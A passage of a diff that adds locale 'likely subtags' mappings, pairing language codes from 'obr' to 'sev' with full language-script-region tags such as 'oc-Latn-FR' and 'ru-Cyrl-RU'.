+ "obr": "obr-Mymr-MM",
+ "obt": "obt-Latn-FR",
+ "obu": "obu-Latn-NG",
+ "oc": "oc-Latn-FR",
+ "oca": "oca-Latn-PE",
+ "oco": "oco-Latn-GB",
+ "ocu": "ocu-Latn-MX",
+ "oda": "oda-Latn-NG",
+ "odk": "odk-Arab-PK",
+ "odt": "odt-Latn-NL",
+ "odu": "odu-Latn-NG",
+ "ofu": "ofu-Latn-NG",
+ "ogb": "ogb-Latn-NG",
+ "ogc": "ogc-Latn-ZZ",
+ "ogg": "ogg-Latn-NG",
+ "ogo": "ogo-Latn-NG",
+ "ogu": "ogu-Latn-NG",
+ "oht": "oht-Xsux-TR",
+ "oia": "oia-Latn-ID",
+ "oie": "oie-Latn-SS",
+ "oin": "oin-Latn-PG",
+ "oj": "oj-Cans-CA",
+ "ojb": "ojb-Latn-CA",
+ "ojb-Cans": "ojb-Cans-CA",
+ "ojc": "ojc-Latn-CA",
+ "ojs": "ojs-Cans-CA",
+ "ojv": "ojv-Latn-SB",
+ "ojw": "ojw-Latn-CA",
+ "ojw-Cans": "ojw-Cans-CA",
+ "oka": "oka-Latn-CA",
+ "okb": "okb-Latn-NG",
+ "okc": "okc-Latn-CD",
+ "okd": "okd-Latn-NG",
+ "oke": "oke-Latn-NG",
+ "okg": "okg-Latn-AU",
+ "oki": "oki-Latn-KE",
+ "okk": "okk-Latn-PG",
+ "okm": "okm-Hang-KR",
+ "oko": "oko-Hani-KR",
+ "okr": "okr-Latn-ZZ",
+ "oks": "oks-Latn-NG",
+ "oku": "oku-Latn-CM",
+ "okv": "okv-Latn-ZZ",
+ "okx": "okx-Latn-NG",
+ "okz": "okz-Khmr-KH",
+ "ola": "ola-Deva-NP",
+ "ola-Tibt": "ola-Tibt-CN",
+ "old": "old-Latn-TZ",
+ "ole": "ole-Tibt-BT",
+ "olk": "olk-Latn-AU",
+ "olm": "olm-Latn-NG",
+ "olo": "olo-Latn-RU",
+ "olr": "olr-Latn-VU",
+ "olt": "olt-Latn-LT",
+ "olu": "olu-Latn-AO",
+ "om": "om-Latn-ET",
+ "oma": "oma-Latn-US",
+ "omb": "omb-Latn-VU",
+ "omc": "omc-Latn-PE",
+ "omg": "omg-Latn-PE",
+ "omi": "omi-Latn-CD",
+ "omk": "omk-Cyrl-RU",
+ "oml": "oml-Latn-CD",
+ "omo": "omo-Latn-PG",
+ "omp": "omp-Mtei-IN",
+ "omr": "omr-Modi-IN",
+ "omt": "omt-Latn-KE",
+ "omu": "omu-Latn-PE",
+ "omw": "omw-Latn-PG",
+ "ona": "ona-Latn-AR",
+ "one": "one-Latn-CA",
+ "ong": "ong-Latn-ZZ",
+ "oni": "oni-Latn-ID",
+ "onj": "onj-Latn-PG",
+ "onk": "onk-Latn-PG",
+ "onn": "onn-Latn-ZZ",
+ "ono": "ono-Latn-CA",
+ "onp": "onp-Latn-IN",
+ "onp-Deva": "onp-Deva-IN",
+ "onr": "onr-Latn-PG",
+ "ons": "ons-Latn-ZZ",
+ "ont": "ont-Latn-PG",
+ "onu": "onu-Latn-VU",
+ "onx": "onx-Latn-ID",
+ "ood": "ood-Latn-US",
+ "oon": "oon-Deva-IN",
+ "oor": "oor-Latn-ZA",
+ "opa": "opa-Latn-NG",
+ "opk": "opk-Latn-ID",
+ "opm": "opm-Latn-ZZ",
+ "opo": "opo-Latn-PG",
+ "opt": "opt-Latn-MX",
+ "opy": "opy-Latn-BR",
+ "or": "or-Orya-IN",
+ "ora": "ora-Latn-SB",
+ "orc": "orc-Latn-KE",
+ "ore": "ore-Latn-PE",
+ "org": "org-Latn-NG",
+ "orn": "orn-Latn-MY",
+ "oro": "oro-Latn-ZZ",
+ "orr": "orr-Latn-NG",
+ "ors": "ors-Latn-MY",
+ "ort": "ort-Telu-IN",
+ "oru": "oru-Arab-ZZ",
+ "orv": "orv-Cyrl-RU",
+ "orw": "orw-Latn-BR",
+ "orx": "orx-Latn-NG",
+ "orz": "orz-Latn-ID",
+ "os": "os-Cyrl-GE",
+ "osa": "osa-Osge-US",
+ "osc": "osc-Ital-IT",
+ "osc-Latn": "osc-Latn-IT",
+ "osi": "osi-Java-ID",
+ "oso": "oso-Latn-NG",
+ "osp": "osp-Latn-ES",
+ "ost": "ost-Latn-CM",
+ "osu": "osu-Latn-PG",
+ "osx": "osx-Latn-DE",
+ "ota": "ota-Arab-ZZ",
+ "otb": "otb-Tibt-CN",
+ "otd": "otd-Latn-ID",
+ "ote": "ote-Latn-MX",
+ "oti": "oti-Latn-BR",
+ "otk": "otk-Orkh-MN",
+ "otl": "otl-Latn-MX",
+ "otm": "otm-Latn-MX",
+ "otn": "otn-Latn-MX",
+ "otq": "otq-Latn-MX",
+ "otr": "otr-Latn-SD",
+ "ots": "ots-Latn-MX",
+ "ott": "ott-Latn-MX",
+ "otu": "otu-Latn-BR",
+ "otw": "otw-Latn-CA",
+ "otx": "otx-Latn-MX",
+ "oty": "oty-Gran-IN",
+ "otz": "otz-Latn-MX",
+ "oub": "oub-Latn-LR",
+ "oue": "oue-Latn-PG",
+ "oui": "oui-Ougr-143",
+ "oum": "oum-Latn-PG",
+ "ovd": "ovd-Latn-SE",
+ "owi": "owi-Latn-PG",
+ "owl": "owl-Latn-GB",
+ "oyd": "oyd-Latn-ET",
+ "oym": "oym-Latn-BR",
+ "oyy": "oyy-Latn-PG",
+ "ozm": "ozm-Latn-ZZ",
+ "pa": "pa-Guru-IN",
+ "pa-Arab": "pa-Arab-PK",
+ "pa-PK": "pa-Arab-PK",
+ "pab": "pab-Latn-BR",
+ "pac": "pac-Latn-VN",
+ "pad": "pad-Latn-BR",
+ "pae": "pae-Latn-CD",
+ "paf": "paf-Latn-BR",
+ "pag": "pag-Latn-PH",
+ "pah": "pah-Latn-BR",
+ "pai": "pai-Latn-NG",
+ "pak": "pak-Latn-BR",
+ "pal": "pal-Phli-IR",
+ "pal-Phlp": "pal-Phlp-CN",
+ "pam": "pam-Latn-PH",
+ "pao": "pao-Latn-US",
+ "pap": "pap-Latn-CW",
+ "paq": "paq-Cyrl-TJ",
+ "par": "par-Latn-US",
+ "pas": "pas-Latn-ID",
+ "pau": "pau-Latn-PW",
+ "pav": "pav-Latn-BR",
+ "paw": "paw-Latn-US",
+ "pax": "pax-Latn-BR",
+ "pay": "pay-Latn-HN",
+ "paz": "paz-Latn-BR",
+ "pbb": "pbb-Latn-CO",
+ "pbc": "pbc-Latn-GY",
+ "pbe": "pbe-Latn-MX",
+ "pbf": "pbf-Latn-MX",
+ "pbg": "pbg-Latn-VE",
+ "pbh": "pbh-Latn-VE",
+ "pbi": "pbi-Latn-ZZ",
+ "pbl": "pbl-Latn-NG",
+ "pbm": "pbm-Latn-MX",
+ "pbn": "pbn-Latn-NG",
+ "pbo": "pbo-Latn-GW",
+ "pbp": "pbp-Latn-GN",
+ "pbr": "pbr-Latn-TZ",
+ "pbs": "pbs-Latn-MX",
+ "pbt": "pbt-Arab-AF",
+ "pbv": "pbv-Latn-IN",
+ "pby": "pby-Latn-PG",
+ "pca": "pca-Latn-MX",
+ "pcb": "pcb-Khmr-KH",
+ "pcc": "pcc-Latn-CN",
+ "pcc-Hani": "pcc-Hani-CN",
+ "pcd": "pcd-Latn-FR",
+ "pce": "pce-Mymr-MM",
+ "pce-Thai": "pce-Thai-TH",
+ "pcf": "pcf-Mlym-IN",
+ "pcg": "pcg-Mlym-IN",
+ "pcg-Knda": "pcg-Knda-IN",
+ "pcg-Taml": "pcg-Taml-IN",
+ "pch": "pch-Deva-IN",
+ "pci": "pci-Deva-IN",
+ "pci-Orya": "pci-Orya-IN",
+ "pcj": "pcj-Telu-IN",
+ "pck": "pck-Latn-IN",
+ "pcm": "pcm-Latn-NG",
+ "pcn": "pcn-Latn-NG",
+ "pcp": "pcp-Latn-BO",
+ "pcw": "pcw-Latn-NG",
+ "pda": "pda-Latn-PG",
+ "pdc": "pdc-Latn-US",
+ "pdn": "pdn-Latn-ID",
+ "pdo": "pdo-Latn-ID",
+ "pdt": "pdt-Latn-CA",
+ "pdu": "pdu-Latn-MM",
+ "pdu-Mymr": "pdu-Mymr-MM",
+ "pea": "pea-Latn-ID",
+ "peb": "peb-Latn-US",
+ "ped": "ped-Latn-ZZ",
+ "pee": "pee-Latn-ID",
+ "peg": "peg-Orya-IN",
+ "pei": "pei-Latn-MX",
+ "pek": "pek-Latn-PG",
+ "pel": "pel-Latn-ID",
+ "pem": "pem-Latn-CD",
+ "peo": "peo-Xpeo-IR",
+ "pep": "pep-Latn-PG",
+ "peq": "peq-Latn-US",
+ "pev": "pev-Latn-VE",
+ "pex": "pex-Latn-ZZ",
+ "pey": "pey-Latn-ID",
+ "pez": "pez-Latn-MY",
+ "pfa": "pfa-Latn-FM",
+ "pfe": "pfe-Latn-CM",
+ "pfl": "pfl-Latn-DE",
+ "pga": "pga-Latn-SS",
+ "pgd": "pgd-Khar-PK",
+ "pgg": "pgg-Deva-IN",
+ "pgi": "pgi-Latn-PG",
+ "pgk": "pgk-Latn-VU",
+ "pgl": "pgl-Ogam-IE",
+ "pgn": "pgn-Ital-IT",
+ "pgs": "pgs-Latn-NG",
+ "pgu": "pgu-Latn-ID",
+ "phd": "phd-Deva-IN",
+ "phg": "phg-Latn-VN",
+ "phh": "phh-Latn-VN",
+ "phk": "phk-Mymr-IN",
+ "phl": "phl-Arab-ZZ",
+ "phm": "phm-Latn-MZ",
+ "phn": "phn-Phnx-LB",
+ "pho": "pho-Laoo-LA",
+ "phr": "phr-Arab-PK",
+ "pht": "pht-Thai-TH",
+ "phv": "phv-Arab-AF",
+ "phw": "phw-Deva-NP",
+ "pi": "pi-Sinh-IN",
+ "pi-Brah": "pi-Brah-IN",
+ "pi-Deva": "pi-Deva-IN",
+ "pi-Khar": "pi-Khar-IN",
+ "pi-Khmr": "pi-Khmr-IN",
+ "pi-Mymr": "pi-Mymr-IN",
+ "pi-Thai": "pi-Thai-IN",
+ "pia": "pia-Latn-MX",
+ "pib": "pib-Latn-PE",
+ "pic": "pic-Latn-GA",
+ "pid": "pid-Latn-VE",
+ "pif": "pif-Latn-FM",
+ "pig": "pig-Latn-PE",
+ "pih": "pih-Latn-NF",
+ "pij": "pij-Latn-CO",
+ "pil": "pil-Latn-ZZ",
+ "pim": "pim-Latn-US",
+ "pin": "pin-Latn-PG",
+ "pio": "pio-Latn-CO",
+ "pip": "pip-Latn-ZZ",
+ "pir": "pir-Latn-BR",
+ "pis": "pis-Latn-SB",
+ "pit": "pit-Latn-AU",
+ "piu": "piu-Latn-AU",
+ "piv": "piv-Latn-SB",
+ "piw": "piw-Latn-TZ",
+ "pix": "pix-Latn-PG",
+ "piy": "piy-Latn-NG",
+ "piz": "piz-Latn-NC",
+ "pjt": "pjt-Latn-AU",
+ "pka": "pka-Brah-IN",
+ "pkb": "pkb-Latn-KE",
+ "pkg": "pkg-Latn-PG",
+ "pkh": "pkh-Latn-BD",
+ "pkh-Deva": "pkh-Deva-BD",
+ "pkn": "pkn-Latn-AU",
+ "pko": "pko-Latn-KE",
+ "pkp": "pkp-Latn-CK",
+ "pkr": "pkr-Mlym-IN",
+ "pku": "pku-Latn-ID",
+ "pl": "pl-Latn-PL",
+ "pla": "pla-Latn-ZZ",
+ "plb": "plb-Latn-VU",
+ "plc": "plc-Latn-PH",
+ "pld": "pld-Latn-GB",
+ "ple": "ple-Latn-ID",
+ "plg": "plg-Latn-AR",
+ "plh": "plh-Latn-ID",
+ "plj": "plj-Latn-NG",
+ "plk": "plk-Arab-PK",
+ "pll": "pll-Mymr-MM",
+ "pln": "pln-Latn-CO",
+ "plo": "plo-Latn-MX",
+ "plr": "plr-Latn-CI",
+ "pls": "pls-Latn-MX",
+ "plu": "plu-Latn-BR",
+ "plv": "plv-Latn-PH",
+ "plw": "plw-Latn-PH",
+ "plz": "plz-Latn-MY",
+ "pma": "pma-Latn-VU",
+ "pmb": "pmb-Latn-CD",
+ "pmd": "pmd-Latn-AU",
+ "pme": "pme-Latn-NC",
+ "pmf": "pmf-Latn-ID",
+ "pmh": "pmh-Brah-IN",
+ "pmi": "pmi-Latn-CN",
+ "pmj": "pmj-Latn-CN",
+ "pml": "pml-Latn-TN",
+ "pmm": "pmm-Latn-CM",
+ "pmn": "pmn-Latn-CM",
+ "pmo": "pmo-Latn-ID",
+ "pmq": "pmq-Latn-MX",
+ "pmr": "pmr-Latn-PG",
+ "pms": "pms-Latn-IT",
+ "pmt": "pmt-Latn-PF",
+ "pmw": "pmw-Latn-US",
+ "pmx": "pmx-Latn-IN",
+ "pmy": "pmy-Latn-ID",
+ "pmz": "pmz-Latn-MX",
+ "pna": "pna-Latn-MY",
+ "pnc": "pnc-Latn-ID",
+ "pnd": "pnd-Latn-AO",
+ "pne": "pne-Latn-MY",
+ "png": "png-Latn-ZZ",
+ "pnh": "pnh-Latn-CK",
+ "pni": "pni-Latn-ID",
+ "pnj": "pnj-Latn-AU",
+ "pnk": "pnk-Latn-BO",
+ "pnl": "pnl-Latn-BF",
+ "pnm": "pnm-Latn-MY",
+ "pnn": "pnn-Latn-ZZ",
+ "pno": "pno-Latn-PE",
+ "pnp": "pnp-Latn-ID",
+ "pnq": "pnq-Latn-BF",
+ "pnr": "pnr-Latn-PG",
+ "pns": "pns-Latn-ID",
+ "pnt": "pnt-Grek-GR",
+ "pnv": "pnv-Latn-AU",
+ "pnw": "pnw-Latn-AU",
+ "pny": "pny-Latn-CM",
+ "pnz": "pnz-Latn-CF",
+ "poc": "poc-Latn-GT",
+ "poe": "poe-Latn-MX",
+ "pof": "pof-Latn-CD",
+ "pog": "pog-Latn-BR",
+ "poh": "poh-Latn-GT",
+ "poi": "poi-Latn-MX",
+ "pok": "pok-Latn-BR",
+ "pom": "pom-Latn-US",
+ "pon": "pon-Latn-FM",
+ "poo": "poo-Latn-US",
+ "pop": "pop-Latn-NC",
+ "poq": "poq-Latn-MX",
+ "pos": "pos-Latn-MX",
+ "pot": "pot-Latn-US",
+ "pov": "pov-Latn-GW",
+ "pow": "pow-Latn-MX",
+ "poy": "poy-Latn-TZ",
+ "ppa": "bfy-Deva-IN",
+ "ppe": "ppe-Latn-PG",
+ "ppi": "ppi-Latn-MX",
+ "ppk": "ppk-Latn-ID",
+ "ppl": "ppl-Latn-SV",
+ "ppm": "ppm-Latn-ID",
+ "ppn": "ppn-Latn-PG",
+ "ppo": "ppo-Latn-ZZ",
+ "ppp": "ppp-Latn-CD",
+ "ppq": "ppq-Latn-PG",
+ "pps": "pps-Latn-MX",
+ "ppt": "ppt-Latn-PG",
+ "pqa": "pqa-Latn-NG",
+ "pqm": "pqm-Latn-CA",
+ "pra": "pra-Khar-PK",
+ "prc": "prc-Arab-AF",
+ "prd": "prd-Arab-IR",
+ "pre": "pre-Latn-ST",
+ "prf": "prf-Latn-PH",
+ "prg": "prg-Latn-001",
+ "prh": "prh-Latn-PH",
+ "pri": "pri-Latn-NC",
+ "prk": "prk-Latn-MM",
+ "prm": "prm-Latn-PG",
+ "pro": "pro-Latn-FR",
+ "prp": "prp-Gujr-IN",
+ "prq": "prq-Latn-PE",
+ "prr": "prr-Latn-BR",
+ "prt": "prt-Thai-TH",
+ "pru": "pru-Latn-ID",
+ "prw": "prw-Latn-PG",
+ "prx": "prx-Arab-IN",
+ "prx-Tibt": "prx-Tibt-IN",
+ "ps": "ps-Arab-AF",
+ "psa": "psa-Latn-ID",
+ "pse": "pse-Latn-ID",
+ "psh": "psh-Arab-AF",
+ "psi": "psi-Arab-AF",
+ "psm": "psm-Latn-BO",
+ "psn": "psn-Latn-ID",
+ "psq": "psq-Latn-PG",
+ "pss": "pss-Latn-ZZ",
+ "pst": "pst-Arab-PK",
+ "psw": "psw-Latn-VU",
+ "pt": "pt-Latn-BR",
+ "pta": "pta-Latn-PY",
+ "pth": "pth-Latn-BR",
+ "pti": "pti-Latn-AU",
+ "ptn": "ptn-Latn-ID",
+ "pto": "pto-Latn-BR",
+ "ptp": "ptp-Latn-ZZ",
+ "ptr": "ptr-Latn-VU",
+ "ptt": "ptt-Latn-ID",
+ "ptu": "ptu-Latn-ID",
+ "ptv": "ptv-Latn-VU",
+ "pua": "pua-Latn-MX",
+ "pub": "pub-Latn-IN",
+ "puc": "puc-Latn-ID",
+ "pud": "pud-Latn-ID",
+ "pue": "pue-Latn-AR",
+ "puf": "puf-Latn-ID",
+ "pug": "pug-Latn-BF",
+ "pui": "pui-Latn-CO",
+ "puj": "puj-Latn-ID",
+ "pum": "pum-Deva-NP",
+ "puo": "puo-Latn-VN",
+ "pup": "pup-Latn-PG",
+ "puq": "puq-Latn-PE",
+ "pur": "pur-Latn-BR",
+ "put": "put-Latn-ID",
+ "puu": "puu-Latn-GA",
+ "puw": "puw-Latn-FM",
+ "pux": "pux-Latn-PG",
+ "puy": "puy-Latn-US",
+ "pwa": "pwa-Latn-ZZ",
+ "pwb": "pwb-Latn-NG",
+ "pwg": "pwg-Latn-PG",
+ "pwm": "pwm-Latn-PH",
+ "pwn": "pwn-Latn-TW",
+ "pwo": "pwo-Mymr-MM",
+ "pwr": "pwr-Deva-IN",
+ "pww": "pww-Thai-TH",
+ "pxm": "pxm-Latn-MX",
+ "pye": "pye-Latn-CI",
+ "pym": "pym-Latn-NG",
+ "pyn": "pyn-Latn-BR",
+ "pyu": "pyu-Latn-TW",
+ "pyu-Hani": "pyu-Hani-TW",
+ "pyx": "pyx-Mymr-MM",
+ "pyy": "pyy-Latn-MM",
+ "pzh": "pzh-Latn-TW",
+ "pzn": "pzn-Latn-MM",
+ "qu": "qu-Latn-PE",
+ "qua": "qua-Latn-US",
+ "qub": "qub-Latn-PE",
+ "quc": "quc-Latn-GT",
+ "qud": "qud-Latn-EC",
+ "quf": "quf-Latn-PE",
+ "qug": "qug-Latn-EC",
+ "qui": "qui-Latn-US",
+ "quk": "quk-Latn-PE",
+ "qul": "qul-Latn-BO",
+ "qum": "qum-Latn-GT",
+ "qun": "qun-Latn-US",
+ "qup": "qup-Latn-PE",
+ "quq": "quq-Latn-ES",
+ "qur": "qur-Latn-PE",
+ "qus": "qus-Latn-AR",
+ "quv": "quv-Latn-GT",
+ "quw": "quw-Latn-EC",
+ "qux": "qux-Latn-PE",
+ "quy": "quy-Latn-PE",
+ "qva": "qva-Latn-PE",
+ "qvc": "qvc-Latn-PE",
+ "qve": "qve-Latn-PE",
+ "qvh": "qvh-Latn-PE",
+ "qvi": "qvi-Latn-EC",
+ "qvj": "qvj-Latn-EC",
+ "qvl": "qvl-Latn-PE",
+ "qvm": "qvm-Latn-PE",
+ "qvn": "qvn-Latn-PE",
+ "qvo": "qvo-Latn-PE",
+ "qvp": "qvp-Latn-PE",
+ "qvs": "qvs-Latn-PE",
+ "qvw": "qvw-Latn-PE",
+ "qvz": "qvz-Latn-EC",
+ "qwa": "qwa-Latn-PE",
+ "qwc": "qwc-Latn-PE",
+ "qwh": "qwh-Latn-PE",
+ "qwm": "qwm-Latn-RU",
+ "qwm-Cyrl": "qwm-Cyrl-RU",
+ "qwm-Runr": "qwm-Runr-RU",
+ "qws": "qws-Latn-PE",
+ "qwt": "qwt-Latn-US",
+ "qxa": "qxa-Latn-PE",
+ "qxc": "qxc-Latn-PE",
+ "qxh": "qxh-Latn-PE",
+ "qxl": "qxl-Latn-EC",
+ "qxn": "qxn-Latn-PE",
+ "qxo": "qxo-Latn-PE",
+ "qxp": "qxp-Latn-PE",
+ "qxq": "qxq-Arab-IR",
+ "qxr": "qxr-Latn-EC",
+ "qxt": "qxt-Latn-PE",
+ "qxu": "qxu-Latn-PE",
+ "qxw": "qxw-Latn-PE",
+ "qya": "qya-Latn-001",
+ "qyp": "qyp-Latn-US",
+ "raa": "raa-Deva-NP",
+ "rab": "rab-Deva-NP",
+ "rac": "rac-Latn-ID",
+ "rad": "rad-Latn-VN",
+ "raf": "raf-Deva-NP",
+ "rag": "rag-Latn-KE",
+ "rah": "rah-Beng-IN",
+ "rah-Latn": "rah-Latn-IN",
+ "rai": "rai-Latn-ZZ",
+ "raj": "raj-Deva-IN",
+ "rak": "rak-Latn-PG",
+ "ram": "ram-Latn-BR",
+ "ran": "ran-Latn-ID",
+ "rao": "rao-Latn-ZZ",
+ "rap": "rap-Latn-CL",
+ "rar": "rar-Latn-CK",
+ "rav": "rav-Deva-NP",
+ "raw": "raw-Latn-MM",
+ "rax": "rax-Latn-NG",
+ "ray": "ray-Latn-PF",
+ "raz": "raz-Latn-ID",
+ "rbb": "rbb-Mymr-MM",
+ "rbk": "rbk-Latn-PH",
+ "rbl": "rbl-Latn-PH",
+ "rbp": "rbp-Latn-AU",
+ "rcf": "rcf-Latn-RE",
+ "rdb": "rdb-Arab-IR",
+ "rea": "rea-Latn-PG",
+ "reb": "reb-Latn-ID",
+ "ree": "ree-Latn-MY",
+ "reg": "reg-Latn-TZ",
+ "rei": "rei-Orya-IN",
+ "rei-Telu": "rei-Telu-IN",
+ "rej": "rej-Latn-ID",
+ "rel": "rel-Latn-ZZ",
+ "rem": "rem-Latn-PE",
+ "ren": "ren-Latn-VN",
+ "res": "res-Latn-ZZ",
+ "ret": "ret-Latn-ID",
+ "rey": "rey-Latn-BO",
+ "rga": "rga-Latn-VU",
+ "rgn": "rgn-Latn-IT",
+ "rgr": "rgr-Latn-PE",
+ "rgs": "rgs-Latn-VN",
+ "rgu": "rgu-Latn-ID",
+ "rhg": "rhg-Rohg-MM",
+ "rhp": "rhp-Latn-PG",
+ "ria": "ria-Latn-IN",
+ "rif": "rif-Latn-MA",
+ "ril": "ril-Latn-MM",
+ "rim": "rim-Latn-TZ",
+ "rin": "rin-Latn-NG",
+ "rir": "rir-Latn-ID",
+ "rit": "rit-Latn-AU",
+ "riu": "riu-Latn-ID",
+ "rjg": "rjg-Latn-ID",
+ "rji": "rji-Deva-NP",
+ "rjs": "rjs-Deva-NP",
+ "rka": "rka-Khmr-KH",
+ "rkb": "rkb-Latn-BR",
+ "rkh": "rkh-Latn-CK",
+ "rki": "rki-Mymr-MM",
+ "rkm": "rkm-Latn-BF",
+ "rkt": "rkt-Beng-BD",
+ "rkw": "rkw-Latn-AU",
+ "rm": "rm-Latn-CH",
+ "rma": "rma-Latn-NI",
+ "rmb": "rmb-Latn-AU",
+ "rmc": "rmc-Latn-SK",
+ "rmd": "rmd-Latn-DK",
+ "rme": "rme-Latn-GB",
+ "rmf": "rmf-Latn-FI",
+ "rmg": "rmg-Latn-NO",
+ "rmh": "rmh-Latn-ID",
+ "rmi": "rmi-Armn-AM",
+ "rmk": "rmk-Latn-PG",
+ "rml": "rml-Latn-PL",
+ "rml-Cyrl": "rml-Cyrl-BY",
+ "rmm": "rmm-Latn-ID",
+ "rmn": "rmn-Latn-RS",
+ "rmn-Cyrl": "rmn-Cyrl-BG",
+ "rmn-Grek": "rmn-Grek-GR",
+ "rmo": "rmo-Latn-CH",
+ "rmp": "rmp-Latn-PG",
+ "rmq": "rmq-Latn-ES",
+ "rmt": "rmt-Arab-IR",
+ "rmu": "rmu-Latn-SE",
+ "rmw": "rmw-Latn-GB",
+ "rmx": "rmx-Latn-VN",
+ "rmz": "rmz-Mymr-IN",
+ "rn": "rn-Latn-BI",
+ "rna": "rna-Latn-ZZ",
+ "rnd": "rnd-Latn-CD",
+ "rng": "rng-Latn-MZ",
+ "rnl": "rnl-Latn-IN",
+ "rnn": "rnn-Latn-ID",
+ "rnr": "rnr-Latn-AU",
+ "rnw": "rnw-Latn-TZ",
+ "ro": "ro-Latn-RO",
+ "rob": "rob-Latn-ID",
+ "roc": "roc-Latn-VN",
+ "rod": "rod-Latn-NG",
+ "roe": "roe-Latn-PG",
+ "rof": "rof-Latn-TZ",
+ "rog": "rog-Latn-VN",
+ "rol": "rol-Latn-PH",
+ "rom": "rom-Latn-RO",
+ "rom-Cyrl": "rom-Cyrl-RO",
+ "roo": "roo-Latn-ZZ",
+ "rop": "rop-Latn-AU",
+ "ror": "ror-Latn-ID",
+ "rou": "rou-Latn-TD",
+ "row": "row-Latn-ID",
+ "rpn": "rpn-Latn-VU",
+ "rpt": "rpt-Latn-PG",
+ "rri": "rri-Latn-SB",
+ "rro": "rro-Latn-ZZ",
+ "rrt": "rrt-Latn-AU",
+ "rsk": "rsk-Cyrl-RS",
+ "rtc": "rtc-Latn-MM",
+ "rth": "rth-Latn-ID",
+ "rtm": "rtm-Latn-FJ",
+ "rtw": "rtw-Deva-IN",
+ "ru": "ru-Cyrl-RU",
+ "rub": "rub-Latn-UG",
+ "ruc": "ruc-Latn-UG",
+ "rue": "rue-Cyrl-UA",
+ "ruf": "ruf-Latn-TZ",
+ "rug": "rug-Latn-SB",
+ "rui": "rui-Latn-TZ",
+ "ruk": "ruk-Latn-NG",
+ "ruo": "ruo-Latn-HR",
+ "rup": "rup-Latn-RO",
+ "rup-Grek": "rup-Grek-GR",
+ "ruq": "ruq-Latn-GR",
+ "rut": "rut-Cyrl-RU",
+ "rut-Latn": "rut-Latn-AZ",
+ "ruu": "ruu-Latn-MY",
+ "ruy": "ruy-Latn-NG",
+ "ruz": "ruz-Latn-NG",
+ "rw": "rw-Latn-RW",
+ "rwa": "rwa-Latn-PG",
+ "rwk": "rwk-Latn-TZ",
+ "rwl": "rwl-Latn-TZ",
+ "rwm": "rwm-Latn-UG",
+ "rwo": "rwo-Latn-ZZ",
+ "rwr": "rwr-Deva-IN",
+ "rxd": "rxd-Latn-AU",
+ "rxw": "rxw-Latn-AU",
+ "ryu": "ryu-Kana-JP",
+ "sa": "sa-Deva-IN",
+ "saa": "saa-Latn-TD",
+ "sab": "sab-Latn-PA",
+ "sac": "sac-Latn-US",
+ "sad": "sad-Latn-TZ",
+ "sae": "sae-Latn-BR",
+ "saf": "saf-Latn-GH",
+ "sah": "sah-Cyrl-RU",
+ "saj": "saj-Latn-ID",
+ "sak": "sak-Latn-GA",
+ "sam": "sam-Samr-PS",
+ "sam-Hebr": "sam-Hebr-PS",
+ "sam-Syrc": "sam-Syrc-PS",
+ "sao": "sao-Latn-ID",
+ "saq": "saq-Latn-KE",
+ "sar": "sar-Latn-BO",
+ "sas": "sas-Latn-ID",
+ "sat": "sat-Olck-IN",
+ "sau": "sau-Latn-ID",
+ "sav": "sav-Latn-SN",
+ "saw": "saw-Latn-ID",
+ "sax": "sax-Latn-VU",
+ "say": "say-Latn-NG",
+ "saz": "saz-Saur-IN",
+ "sba": "sba-Latn-ZZ",
+ "sbb": "sbb-Latn-SB",
+ "sbc": "sbc-Latn-PG",
+ "sbd": "sbd-Latn-BF",
+ "sbe": "sbe-Latn-ZZ",
+ "sbg": "sbg-Latn-ID",
+ "sbh": "sbh-Latn-PG",
+ "sbi": "sbi-Latn-PG",
+ "sbj": "sbj-Latn-TD",
+ "sbk": "sbk-Latn-TZ",
+ "sbl": "sbl-Latn-PH",
+ "sbm": "sbm-Latn-TZ",
+ "sbn": "sbn-Arab-PK",
+ "sbo": "sbo-Latn-MY",
+ "sbp": "sbp-Latn-TZ",
+ "sbq": "sbq-Latn-PG",
+ "sbr": "sbr-Latn-ID",
+ "sbs": "sbs-Latn-NA",
+ "sbt": "sbt-Latn-ID",
+ "sbu": "sbu-Tibt-IN",
+ "sbu-Deva": "sbu-Deva-IN",
+ "sbv": "sbv-Latn-IT",
+ "sbw": "sbw-Latn-GA",
+ "sbx": "sbx-Latn-ID",
+ "sby": "sby-Latn-ZM",
+ "sbz": "sbz-Latn-CF",
+ "sc": "sc-Latn-IT",
+ "scb": "scb-Latn-VN",
+ "sce": "sce-Latn-CN",
+ "sce-Arab": "sce-Arab-CN",
+ "scf": "scf-Latn-PA",
+ "scg": "scg-Latn-ID",
+ "sch": "sch-Latn-IN",
+ "sci": "sci-Latn-LK",
+ "sck": "sck-Deva-IN",
+ "scl": "scl-Arab-ZZ",
+ "scn": "scn-Latn-IT",
+ "sco": "sco-Latn-GB",
+ "scp": "scp-Deva-NP",
+ "scs": "scs-Latn-CA",
+ "scs-Cans": "scs-Cans-CA",
+ "sct": "sct-Laoo-LA",
+ "scu": "scu-Takr-IN",
+ "scv": "scv-Latn-NG",
+ "scw": "scw-Latn-NG",
+ "scx": "scx-Grek-IT",
+ "sd": "sd-Arab-PK",
+ "sd-Deva": "sd-Deva-IN",
+ "sd-IN": "sd-Deva-IN",
+ "sd-Khoj": "sd-Khoj-IN",
+ "sd-Sind": "sd-Sind-IN",
+ "sda": "sda-Latn-ID",
+ "sdb": "sdb-Arab-IQ",
+ "sdc": "sdc-Latn-IT",
+ "sde": "sde-Latn-NG",
+ "sdf": "sdf-Arab-IQ",
+ "sdg": "sdg-Arab-AF",
+ "sdh": "sdh-Arab-IR",
+ "sdj": "sdj-Latn-CG",
+ "sdk": "sdk-Latn-PG",
+ "sdn": "sdn-Latn-IT",
+ "sdo": "sdo-Latn-MY",
+ "sdq": "sdq-Latn-ID",
+ "sds": "sds-Arab-TN",
+ "sdu": "sdu-Latn-ID",
+ "sdx": "sdx-Latn-MY",
+ "se": "se-Latn-NO",
+ "sea": "sea-Latn-MY",
+ "seb": "seb-Latn-CI",
+ "sec": "sec-Latn-CA",
+ "sed": "sed-Latn-VN",
+ "see": "see-Latn-US",
+ "sef": "sef-Latn-CI",
+ "seg": "seg-Latn-TZ",
+ "seh": "seh-Latn-MZ",
+ "sei": "sei-Latn-MX",
+ "sej": "sej-Latn-PG",
+ "sek": "sek-Latn-CA",
+ "sek-Cans": "sek-Cans-CA",
+ "sel": "sel-Cyrl-RU",
+ "sen": "sen-Latn-BF",
+ "seo": "seo-Latn-PG",
+ "sep": "sep-Latn-BF",
+ "seq": "seq-Latn-BF",
+ "ser": "ser-Latn-US",
+ "ses": "ses-Latn-ML",
+ "set": "set-Latn-ID",
+ "seu": "seu-Latn-ID",
+ "sev": "sev-Latn-CI",
